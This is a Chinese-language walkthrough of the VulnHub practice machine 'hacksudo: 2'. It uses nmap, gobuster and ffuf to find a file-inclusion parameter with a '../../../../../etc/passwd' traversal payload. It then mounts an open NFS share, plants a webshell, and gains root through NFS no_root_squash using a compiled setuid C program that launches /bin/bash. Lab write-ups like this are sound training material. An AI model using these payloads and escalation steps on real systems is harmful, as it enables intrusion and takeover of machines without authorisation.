vulnhub靶场之HACKSUDO: 2 (HACKDUDO)
vulnhub靶场之HACKSUDO: 2 (HACKDUDO)
准备:
攻击机:虚拟机kali、本机win10。
靶机:hacksudo: 2 (HackDudo),下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar,下载后直接vbox打开即可。(温馨提醒:只能使用vbox)
知识点:ffuf爆破、nfs服务提权、shell反弹。
一:信息收集
首先使用arp-scan扫描内网最新启用的IP
可以先访问80端口看看,确认出靶场
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.11.188
命令分解:
nmap -T4 -sV -p- -A 192.168.11.188
参数 | 作用 |
---|---|
-T4 | 设置扫描速度(T0-T5 ,T4 是较快的激进模式) |
-sV | 探测服务版本(识别运行的应用,如Apache 2.4、OpenSSH 7.6等) |
-p- | 扫描所有端口(1-65535),默认只扫常见1000端口 |
-A | 全面扫描(包括OS检测、脚本扫描、版本探测等) |
192.168.11.188 | 目标IP地址 |
网络流量明显:-T4
和-A
会触发大量请求,可能被防火墙/IDS拦截。
显示开放了1337端口、80端口、2049端口等,开启了ssh服务、http服务、nfs服务。
目录扫描
Gobuster是一个开源的渗透测试工具,用于在Web应用程序中发现隐藏的内容或目录枚举。它可以在提供的字典中寻找URL,并返回来自网站服务器的HTTP状态代码。该工具使用Go语言编写,具有速度快、轻量级以及易于安装和使用的特点。
使用gobuster进行目录扫描,命令:gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.11.188,发现/web、/audio、/file.php等目录和文件。
ffuf爆破神器(ffuf是一款Go语言编写的高速Web Fuzzer工具。)
使用格式:
ffuf -u 目标地址/FUZZ1:FUZZ2 -w 字典:FUZZ1 -w 字典:FUZZ2
举例:
ffuf -u http://[IP]/sqli/example1.php?FUZZ1=FUZZ2 -w /usr/share/SecLists-2022.2/Discovery/Web-Content/burp-parameter-names.txt:FUZZ1 -w /usr/share/SecLists-2022.2/Fuzzing/fuzz-Bo0oM.txt:FUZZ2
对扫描出来的目录进行访问收集信息,在访问:http://192.168.11.188/file.php时,页面提示file access(文件访问),猜测这里存在文件包含漏洞。因此使用ffuf进行爆破,命令:ffuf -w /usr/share/SecLists/Discovery/Web-Content/common.txt -u 'http://192.168.1.111/file.php?FUZZ=../../../../../etc/passwd' -fs 238,成功获得参数file。
既然知道有文件读取的web漏洞那当然就是继续下一步骤...
二:NFS服务
1.nfs服务挂载
NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。那我们就查询下NFS服务器的全部共享目录,命令:showmount -e 192.168.11.188,发现共享目录:/mnt/nfs *,*表示具有所有权限(读写,ro表示只读)。
nfs服务客户端没有用户认证机制,那我们将该目录挂载到本地kali中,命令:mkdir /mnt/nfs、mount -t nfs 192.168.11.188:/mnt/nfs /mnt/nfs,然后查看该目录信息发现存在一个flag值,读取该文件成功获得flag值。
使用哥斯拉生成后门p.php进行访问连接获取webshell
三:提权
找了一圈没找到可以进行提权的点,那就直接上脚本:linpease.sh跑一下,在脚本也没发现好用的漏洞信息,后面想到这台机器开启了nfs服务,就查询了以下nfs提权漏洞,发现当前nfs配置文件中配置:no_root_squash选项时存在提权漏洞,那就查看下nfs配置文件的配置信息,命令:cat /etc/exports。
/etc/exports
是 NFS(Network File System,网络文件系统)的核心配置文件,用于定义哪些目录可以被共享(export)给其他客户端,以及客户端的访问权限。
配合SUID提权 我这里是因为kali的bash太高,导致提权失败。
注意gcc编译机器与目标机内核版本相似 所以我们可以使用ubuntu低版本编译
#include<stdlib.h>
#include<unistd.h>
int main()
{
setuid(0);
system("id");
system("/bin/bash");
}
gcc 1.c -o 1
cp 1 /mnt/nfs/1 #复制bash到挂载目录下
chmod +s getroot #赋予suid权限 (最重要的是使用+s ,,,777权限要使用也要在+s前面)
find / -perm -u=s -type f 2>/dev/null 再看看是否加入
cd /mnt/nfs # 目标机
./getroot # 目标机